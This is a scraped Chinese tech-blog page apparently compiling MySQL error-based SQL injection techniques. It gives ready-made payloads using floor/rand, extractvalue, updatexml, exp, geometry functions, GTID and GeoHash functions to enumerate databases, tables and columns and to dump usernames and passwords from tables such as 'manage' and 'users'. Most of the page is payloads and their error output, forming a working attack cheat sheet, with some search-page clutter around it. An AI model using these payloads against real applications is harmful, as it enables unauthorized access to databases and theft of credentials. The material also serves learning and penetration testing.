精华内容
下载资源
问答
  • 关于sql注入的报错注入函数用法 1.floor() id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 2.extractvalue() id = 1 and ...

    关于sql注入的报错注入函数用法

    1.floor()

    id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)
    

    2.extractvalue()

    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
    

    3.updatexml()

    id = 1 and (updatexml(0x3a,concat(1,(select user())),1))
    

    4.exp()

    id =1 and EXP(~(SELECT * from(select user())a))
    

    5.GeometryCollection()

    id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
    

    6.polygon()

    id =1 AND polygon((select * from(select * from(select user())a)b))
    

    7.multipoint()

    id = 1 AND multipoint((select * from(select * from(select user())a)b))
    

    8.multilinestring()

    id = 1 AND multilinestring((select * from(select * from(select user())a)b))
    

    9.linestring()

    id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
    

    10.multipolygon()

    id =1 AND multipolygon((select * from(select * from(select user())a)b))
    
    展开全文
  • 报错注入函数指南

    2021-05-01 16:34:01
    (1)函数解释: GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。   (2)官方文档中举例的用法如下: ...

    1. geometrycollection() mysql版本5.5

    (1)函数解释:

    GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

    (2)官方文档中举例的用法如下:
    GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
    

    (3)报错原因:

    因为MYSQL无法使用这样的字符串画出图形,所以报错

    #获取版本信息

    1') and geometrycollection((select * from(select * from(select version())a)b)); %23
    

    在这里插入图片描述


    #获取当前表名

    1') and geometrycollection((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
    

    在这里插入图片描述


    #获取manage表里的段名

    1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
    

    在这里插入图片描述


    #获取字段里的数据

    1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
    

    在这里插入图片描述


    2. multipoint() mysql版本5.5


    (1)函数解释:
    MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

    (2)报错原因:
    同样是因为无法使用字符串画出图形与geometrycollection类似


    #获取版本信息

    1') and multipoint((select * from(select * from(select version())a)b)); %23
    

    在这里插入图片描述


    #获取当前表名

    1') and multipoint((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
    

    在这里插入图片描述


    #获取manage表里的段名

    1') and multipoint((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b))
    

    在这里插入图片描述


    #获取字段里的数据

    1)' and multipoint((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
    

    在这里插入图片描述


    3. polygon()

    polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
    Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

    ') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
    


    4. mutipolygon()

    ') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+
    


    在这里插入图片描述


    5. linestring

    报错原理:
    mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

    #查询数据库名称

    1') and linestring((select * from(select * from(select database())a)b))--+;
    

    在这里插入图片描述


    #获取表数据

    1') and  linestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;
    

    在这里插入图片描述


    #获取manage里的段名

    1') and linestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;
    

    在这里插入图片描述


    #获取字段数据

    1') or linestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;
    

    在这里插入图片描述


    6. multilinestring

    #查询数据库名称

    1') and multilinestring((select * from(select * from(select database())a)b))--+;
    

    在这里插入图片描述


    #获取表数据

    1') and multilinestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;
    

    在这里插入图片描述


    #获取manage里的段名

    1') and multilinestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;
    

    在这里插入图片描述


    #获取字段数据

    1') or  multilinestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;
    

    在这里插入图片描述


    7. exp()

    exp(x)       返回 e 的 x 次方
    

    当 数据过大 溢出时报错,即 x > 709


    注入payload

    mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+
    


    #关于 as asd
    进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名
    在这里插入图片描述


    8. ST.LatFromGeoHash()(mysql>=5.7.x)


    #payload

    ') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
    

    9. ST.LongFromGeoHash(mysql>=5.7.x)()


    #payload
    #同 8 ,都使用了嵌套查询

    ') or ST_LongFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+
    

    在这里插入图片描述


    10. GTID (MySQL >= 5.6.X - 显错<=200)

    0x01 GTID

    GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

    GTID的表现形式 -> GTID =
    source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

    GTID集合(一组全局事务标识符):
    GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

    • gtid_executed 系统变量
    • gtid_purged系统变量
    • GTID_SUBSET() 和 GTID_SUBTRACT()函数

    格式如下:

    3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5
    

    它代表uuid为3E11FA47-71CA-11E1-9E33-C80AA9429562的服务器的1到5号事务
    也可以是这样

    3E11FA47-71CA-11E1-9E33-C80AA9429562:1-3:11:47-49
    

    他代表该服务器的1到3号,11号和47到49号事务

    0X02 函数详解

    GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

    1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
    2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
      正常情况如下

    GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

    0x03 注入过程( payload )

    GTID_SUBSET函数

    ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
    


    GTID_SUBTRACT

    ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
    

    在这里插入图片描述

    函数都是那样,只是适用的版本不同


    11. floor(8.x>mysql>5.0)


    #获取数据库版本信息

    ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    

    在这里插入图片描述


    #获取当前数据库

    ')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    

    在这里插入图片描述


    #获取表数据

    ')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    

    在这里插入图片描述在这里插入图片描述


    #获取manage表里的段名

    ')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    

    在这里插入图片描述


    #获取字段里面的数据

    1)获取数据的前部分

    ')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [前部分]
    

    在这里插入图片描述


    2)获取数据的后部分

    ')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),26,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [后部分]
    

    在这里插入图片描述在这里插入图片描述


    12. ST_Pointfromgeohash (mysql>5.7)


    #获取数据库版本信息

    ')or  ST_PointFromGeoHash(version(),1)--+
    

    在这里插入图片描述


    #获取表数据

    ')or  ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+
    

    在这里插入图片描述


    #获取manage表里的段名

    ')or  ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+
    

    在这里插入图片描述


    #获取字段里面的数据

    ')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+
    

    在这里插入图片描述

    展开全文
  • sql报错注入函数

    2020-04-24 23:32:05
    #1.floor() #数据尾部多一个1 #?id=1'and (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+ #?id=1' union select 1,2,count(*) from information_schema.tables...
    #1.floor()
    #数据尾部多一个1
    #?id=1'and (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+
    #?id=1' union select 1,2,count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)) --+
    #?id=1'and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    #过滤information_schema
    #?id=1'and (select count(*) from (select 1 union select null union select !1)a group by concat(database(), floor(rand(0)*2)))--+
    # 2.extractvalue()
    #?id=1' and (select * from dat where id=1 and extractvalue(1,concat(0x7e,(select database()))))--+
    # 3.updatexml()
    #?id=1' and 1=(updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
    #?id=1' and updatexml(1,concat(0x7e,(select database())),1)--+
    #?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1)),1)--+
    #?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1)--+
    #?id=1' and updatexml(1,concat(0x7e,(select concat(password,username) from security.users limit 0,1)),1)--+
    # 4.geometrycollection()#fail,Illegal non geometric
    # geometrycollection((select * from(select * from(select database())a)b))
    # 5.multipoint()
    # ?id=1'and (select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)))--+
    # 6.polygon()
    # select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    # 7.multipolygon()
    # select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    # 8.linestring()
    # select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    # 9.multilinestring()
    # select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    # 10.exp()
    # select * from test where id=1 and exp(~(select * from(select user())a));
    展开全文
  • SQL注入的报错注入函数

    千次阅读 2019-02-26 21:09:29
    extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要xpath_expr有效,并且xml_frag由...

     

     

     

    一、extractvalue()

      extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 - 返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。

    information_schema:MySQL中自带数据库

    information_schema.columns:表,其中列table_schema记录所有库名,列table_name记录所有表名,列column_name记录所有列名

    information_schema.tables:表,其中列table_schema记录所有库名,列table_name记录所有表名,不含列名信息。

    例题:http://ctf5.shiyanbar.com/web/baocuo/index.php (加了料的报错注入)

    解题思路:经过测试,发现username处过滤了()而可以使用extractvalue、updatexml等报错函数字符,password处过滤了报错函数,而可以使用()。

    于是构造payload

    曝数据库名:

    后台代码效果:

    曝表名:

    蓝色背景处在后代解读为注释,不执行。

    注:regexp,在MySQL中使用regexp操作符进行正则式的匹配。由于此题中=被过滤,于是改用regexp

           或者是用in,MySQL中in的使用方法:select * from test where field in (value1,value2,....)

    曝列名:

    Flag:

     

    二、updatexml()

      updatexml(xml_target,xpath_expr,new_xml)接受三个参数,此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。

    例题同上:http://ctf5.shiyanbar.com/web/baocuo/index.php (加了料的报错注入)

    曝库:

    曝表:

    曝列:

    Flag:

     

    三、floor()

      floor(x),返回小于或等于x的最大整数。

    payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;

    x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。

    报错原因:主键重复,必需:count()、rand()、group by

    分析链接:https://xz.aliyun.com/t/253#toc-2

    四、exp()

      exp(x)返回e^x。

    展开全文
  • SQL注入报错注入函数汇总

    千次阅读 2018-10-30 16:33:17
    5.有六种函数(但总的来说可以归为一类) GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * ...
  • MySQL报错注入函数汇总

    千次阅读 2019-06-12 14:11:45
    常用函数 字符串连接函数,将多个字符串连接成一个字符串,当中间字符串有一个为空时,最后结果也为空 concat(str1, str2, str3 ,...) concat_ws('指定分隔符', str1,str2,str3...) 开头指定分隔符,与...
  • 报错函数 floor() cancat() 将符合条件的所有数据进行拼接,0x7e为‘~’,0x3a为‘:’ 将产生的虚拟表的主键名换为name:select concat(0x7e,database(),0x7e)name或者select concat(0x7e,database(),0x7e) as ...
  • 5.有六种函数(但总的来说可以归为一类) GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from...
  • 报错注入常用函数

    2020-05-19 00:58:55
    常用的三种报错函数 1.原理 在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息, 在语法发生错误会输出在前端,从而从报错信息中获取设定的信息。 select/insert/update/delete 都可以使用报错...
  • floor()、extractvalue()、updatexml() 函数都是与报错注入有关 二.updatexml函数 使用方式: UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称。 第...
  • 函数报错注入、盲注

    2020-03-11 17:30:38
    报错注入和布尔盲注 报错注入 即利用系统输出的报错信息来进行注入 floor报错注入 floor报错注入应该是报错注入中最为复杂的一种了 其中的基础为下面这句话 1 select count(*) ,floor(rand(0)*2)x from ...
  • 文章目录前言一、updatexml报错二、updatexml报错记忆 ...报错注入函数: floor函数 extractvalue报错 updatexml报错 今天我在这里先记录一下对于updatexml报错函数的学习 一、updatexml报错 基本格式: ?id=
  • floor函数 select count(*),(floor(rand(0)*2))x from table group by x; select查询语句 group by进行分组(相同为一组) rand()生成0到1的随机数 floor()返回整数 count()对数据整合(类似去重) 产生原因:mysql...
  • SQL报错注入

    2021-05-13 22:44:11
    报错注入函数 1. extractvalue() id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) 2. updatexml() id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) 3. exp() id=1 and exp(~(select ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 627
精华内容 250
关键字:

报错注入函数